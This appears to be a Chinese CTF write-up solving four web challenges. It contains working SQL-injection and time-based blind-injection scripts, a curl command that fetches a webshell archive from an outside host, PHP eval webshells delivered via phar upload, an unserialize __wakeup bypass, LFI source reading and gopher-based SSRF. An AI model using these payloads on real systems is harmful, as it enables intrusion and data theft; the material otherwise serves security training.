web1的源码我已经下载好了,地址在:http://download.csdn.net/detail/niexinming/9668799
自己擅长sql注入,而这个题目刚刚适合我http://web1.08067.me
首先这个题目过滤了一大堆东西,比如and,or,空格,%0a,%0b%0c,尤其不能忍的是过滤了逗号,简直是个坑啊
由于过滤了and和or和空格,我用%a0来代替空格,用连等判断来代替and,or的数据,下面是这个原理的一个简单例子:
mysql> select 1 from dual where 1=1=1=(select '');
Empty set (0.16 sec)
mysql> select 1 from dual where 1=1=1=(select '1');
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select 1 from dual where 1=1=1=(select 0);
Empty set (0.19 sec)
mysql> select 1 from dual where 1=1=1=(select 1);
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
可以看出where后面的连等如果有一项的值为空或者为0的时候,那么整个查询结果都是空,否则就可以查询出东西
由于web1提示要登陆admin
所以就要用盲注,但是MySQL 字符串截取函数:left(), right(), substring(), substring_index()。还有 mid(), substr()都是需要逗号来传递参数的,而万恶的出题人却把逗号给过滤,好气哦,但是天无绝人之路,substring提供了另一个用法:SUBSTRING(str FROMpos FOR len),但是for这个参数却用不了,好心塞,不过没关系,可以从后到前一个一个猜字符了,原理是:
mysql> select substring('admin' from 5) from dual;
+---------------------------+
| substring('admin' from 5) |
+---------------------------+
| n |
+---------------------------+
1 row in set (0.00 sec)
mysql> select substring('admin' from 4) from dual;
+---------------------------+
| substring('admin' from 4) |
+---------------------------+
| in |
+---------------------------+
1 row in set (0.00 sec)
mysql> select substring('admin' from 3) from dual;
+---------------------------+
| substring('admin' from 3) |
+---------------------------+
| min |
+---------------------------+
1 row in set (0.00 sec)
mysql> select substring('admin' from 2) from dual;
+---------------------------+
| substring('admin' from 2) |
+---------------------------+
| dmin |
+---------------------------+
1 row in set (0.00 sec)
为了速度,我写了个小脚本来处理这个单调的盲注
__author__ = 'niexinming'
import urllib2
url="http://web1.08067.me/login.php"
data="abcdefghijklmnopqrstuvwxyz1234567890"
xx=""
flag=0
listdata=list(data)
for jj in range(0,33)[::-1]:
#print jj
for ii in listdata:
post_data="uname=admin'=(select(select(substring(passwd%a0from%a0"+str(jj)+"))from%a0admin%a0where%a0uname='admin')='"+ii+xx+"')='1'='1&passwd=2"
#print post_data
req = urllib2.urlopen(url, post_data).read()
if(req.find('password error')>-1):
flag=1
xx=ii+xx
print xx
break
else:
flag=0
最后拿到admin的密码:c12366feb7373bf6d869ab7d581215cf 解密之后 1234567mn
我以为登陆了admin之后就完了,结果后面是个更大的坑啊!!!
后面是个可以执行命令的地方,测试了一下还是过滤了bash,python,php,perl,空格,但是留下了curl这个命令,空格的话linux中可以用${IFS}来代替,然后尝试下载一个zip的文件(zip里面包含一个一句话木马)在网站的根目录底下
下载指令
curl${IFS}-o${IFS}2.zip${IFS}http://xxx.xxx.xxx.xxx/2.zip
下载之后解压
unzip${IFS}2.zip
然后在网站的admin目录下就有一个2.php,地址:
http://web1.08067.me/admin/2.php
然后拿到flag
------------------------------------------------------------------------------------------web2-------------------------------------------------------------------------------------------------------------------------
web2
http://web2.08067.me:
首先这个题目给出一个提示:里面有个include.php
打开http://web2.08067.me/include.php,查看源码发现又一个提示:<!-- upload.php -->
发现有上传的地方,但是上传的地方只能上传图片文件,因为有个include.php有个任意包含漏洞,可以利用lfi读取upload.php和include.php的源码
读取源代码的方法:
http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=upload
把upload.php的源码以base64的方式返回回来,解码之后:
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILE["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
再读取include.php
http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=include
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
发现每一个地方都被限制死死的,包含的地方不能截断而且包含的文件只能是.php结尾的,上传的文件只能是图片文件
看来只有一种办法了,参考http://www.php.net/manual/zh/wrappers.phar.php
能用到phar:// 这个协议了
如何创建一个phar文件呢?
方法一:
参考:https://segmentfault.com/a/1190000002166235
http://www.mamicode.com/info-detail-888559.html
现在我来创建自己的php的打包文件phar
首先在创建一个目录,名字是1
然后在1那个目录底下创建一个index.php内容是:
<?php @eval($_POST['c']);?>
然后在1的目录外创建打包脚本phar.php内容是:
<?php
$phar = new Phar('my.phar');
$phar->buildFromDirectory(__DIR__.'/1', '/.php$/');
$phar->compressFiles(Phar::GZ);
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('index.php'));
然后在shell中执行在1目录外面生成一个叫my.phar的打包文件
把my.phar改成my.jpg上传,然后访问:
http://web2.08067.me/include.php?file=phar://upload/heheda.jpg/index
这样一句话木马就可以执行了
方法二:
直接把一个一句话木马的php文件压缩成zip格式,然后把文件后缀改成jpg,然后上传,以同样的方式访问也能执行木马
不知道为什么用菜刀连接不到,我自己用php代码来读一下目录下有什么文件吧:
下面是php一句话读取目录:
$dh=opendir("./");while (($file = readdir($dh)) !== false){echo $file."<br>";}
然后发现flag文件在swpu_wbe2_tips.txt
直接访问:http://web2.08067.me/swpu_wbe2_tips.txt 就可以得到flag和下一个题目的提示
--------------------------------------------------------------------------------------------------------web3-----------------------------------------------------------------------------------------------------------
http://web3.08067.me/wakeup/index.php
官方给了提示:
.bak泄露,index.php.bak,function.php.bak
首先看index.php.bak的源码:
if(isset($_COOKIE['user'])){
$login = @unserialize(base64_decode($_COOKIE['user']));
if(!empty($login->pass)){
$status = $login->check_login();
if($status == 1){
$_SESSION['login'] = 1;
var_dump("login by cookie!!!");
}
}
}
看function.php.bak
class help {
static function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
}
return $value;
}
}
static function remove_xss($string) {
$string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
$parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');
$parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
$parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');
$parm = array_merge($parm1, $parm2, $parm3);
for ($i = 0; $i < sizeof($parm); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($parm[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[x|X]0([9][a][b]);?)?';
$pattern .= '|(�([9][10][13]);?)?';
$pattern .= ')?';
}
$pattern .= $parm[$i][$j];
}
$pattern .= '/i';
$string = preg_replace($pattern, '****', $string);
}
return $string;
}
static function mystrip_tags($string)
{
$string = help::new_html_special_chars($string);
$string = help::remove_xss($string);
return $string;
}
static function new_html_special_chars($string) {
$string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
return $string;
}
// 实体出库
static function htmlspecialchars_($value)
{
if (empty($value))
{
return $value;
}
else
{
if(is_array($value)){
foreach ($value as $k => $v) {
$value[$k] = self::htmlspecialchars_($v);
}
}else{
$value = htmlspecialchars($value);
}
return $value;
}
}
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
exit("Error");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
exit("Error" . $error);
}
else
{
return $db_string;
}
}
}
class login{
var $uid = 0;
var $name='';
var $pass='';
//检查用户是否已登录
public function check_login(){
mysql_conn();
$sqls = "select * from phpinfoadmin where username='$this->name'";
$sqls = help::CheckSql($sqls);
$re = mysql_query($sqls);
$results = @mysql_fetch_array($re);
//echo $sqls . $results['passwd'];
mysql_close();
if (!empty($results))
{
if($results['passwd'] == $this->pass)
{
return 1;
}
else
{
return 0;
}
}
}
//预防cookie某些破坏导致登陆失败
public function __destruct(){
$this->check_login();
}
//反序列化时检查数据
public function __wakeup(){
$this->name = help::addslashes_deep($this->name);
$this->pass = help::addslashes_deep($this->pass);
}
}
?>
看到源码中限制好多东西,似乎基本没有什么办法,但是php5.4以下有个漏洞
可以看http://www.venenof.com/index.php/archives/167/
可以参考ven牛的文章就可以搞定这个题目了
可以bypass的payload是这样的:
O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:6:"heheda";s:4:"pass";s:32:"00af6f190235a168c57be5cff86668b0";}
关键点是login":4: 里面这个4,这个4代表login类的变量有4个,但是实际上login类的变量有3个(uid,name,pass),如果类的变量和实际传入的不一样,反序列化后的类就不会执行魔术方法:__wakeup(),但是会执行魔术方法:__destruct()
所以利用这个漏洞进行sql注入:
但是这个漏洞没有任何回显,只能靠基于时间的盲注来拿到数据了
查看源码之后发现,他还是禁止了benchmark,sleep,load_file,into outfile,没有办法,我想到要用到一些消耗资源的方式让数据库的查询时间尽量变长,而消耗数据库资源的最有效的方式就是让两个大表做迪卡尔积,这样就可以让数据库的查询慢下来,而我最后找到系统表information_schema.columns 数据量比较大,可以满足我的要求,
让他们做笛卡尔积:
select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2
本地的运行的时间在十三秒左右
根据这个理论就可以不用benchmark,sleep而做延时注入了
而后来查资料,这种方法不是我自己发明的,这个有个专门的术语叫:heavy query ,可以参考更多例子在:http://www.sqlinjection.net/heavy-query/
写一个脚本让它慢慢跑,然后自己去洗澡
__author__ = 'niexinming'
import base64
import urllib
import urllib2
import base64
import time
#ll=list("abcdefghijklmnopqrstuvwxyz1234567890")
#llascii=[]
#for jj in ll:
# llascii.append(ord(jj))
for kk in range(1,32):
print "di : "+str(kk)
for i in range(32,127):
start= time.time()
url="http://web3.08067.me/wakeup/index.php"
sql="select flag from flag"
post_data="username=heheda&password=heheda&login="
payload="admin'and ascii(substring((%s),%s,1))=%s and (select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2)=1 and '1'='1" % (sql,str(kk),str(i))
xueliehua='''O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:%s:"%s";s:4:"pass";s:32:"6be530e78ade605347059701a54f996e";}
''' % (str(len(payload)),payload)
#print xueliehua
b64=base64.b64encode(xueliehua)
urlencodedata=urllib.quote(b64)
heads={}
heads["Cookie"]="user="+urlencodedata
#print urlencodedata
req = r=urllib2.Request(url,data=post_data,headers=heads)
resual= urllib2.urlopen(r)
resual.read()
end= time.time()
#print str(end-start)+":",
#print chr(i)
if 20>(end-start)>8:
print "this this:"+str(kk)+" : "+chr(i)
break
洗完澡之后就发现flag已经躺好了
--------------------------------------------------------------------------------------------------------web5-----------------------------------------------------------------------------------------------------------
http://web5.08067.me/
首先是官方给的提示是:
ssrf,关注下其他的协议,flag不在本机
然后就用file:///etc/sysconfig/network-scripts/ifcfg-eth0 读取网卡地址,发现
DEVICE=eth0
HWADDR=00:0C:29:F0:AE:2A
TYPE=Ethernet
UUID=a1ca5d0e-61c9-4693-82ee-437eb0331617
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=static
IPADDR=172.16.181.165
NETMASK=255.255.255.0
GATEWAY=172.16.181.2
DNS1=114.114.114.114
DNS2=172.16.181.2
发现 这台主机 所处的内网的网段是在172.16.181.0/24段。
然后探测下C段,发现只有172.16.181.166主机的80 存在一个应用。
尝试扫一波目录,发现了一个常规目录admin/login.php,访问之,发现一个登陆表单
但是这个表单数据的提交是用post来提交,这怎么办?
这时候就要请出一个古老的协议了:
gopher协议,百度百科有对这个协议的介绍:
http://baike.baidu.com/link?url=SBvPFzKhDIG2BP4WRdVnOL1EsNUxM-X9JllDG7h-FL3VkYfnTd7VMPZIV2iMJBF1UK4REpf_eo3o1x8jJkp_pK
然后利用gopher来构造post的请求包
http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2029%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3D12312%26submit%3Dsubmit
发现返回来的数据是:
password error
这里构造的时候要注意url 的编码和Content-Length的长度不能算错
接着测试post数据username=admin' and '1'='1&password=123
http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2041%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%27%20and%20%271%27%3D%271%26password%3D12312%26submit%3Dsubmit
发现返回来的数据是:
password error
但是测试post数据username=admin' and '1'='2&password=123
发现返回来的数据是:
error names
发现在username的地方有sql注入
然后写一个脚本来跑数据
# -*- coding: utf-8 -*-
import re
import os
import requests
import time
import urllib
sql="select password from ssrf"
for x in range(1,40):
print "di:"+str(x)
for i in range(32,127):
payload="admin' and 1=1 and (select(ascii(mid(((%s)),%s,1))=%s))" % (sql,x,i)
payload=payload+"%23"
length=len(payload)
content_len=length+23
# print content_len
u_payload=urllib.quote(payload)
url="http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%20"+str(content_len)+"%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3D"+u_payload+"%26password%3D1212"
# print url
res=requests.get(url).text
if "password" in res:
print chr(i)
break
最后admin的密码是:2dc8661a5be16d50941534eae3fffaa4
解密之后是:xiaozhang123
然后构造最后登陆的payload:
http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2036%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dxiaozhang123%26submit%3Dsubmit
拿到最后的flag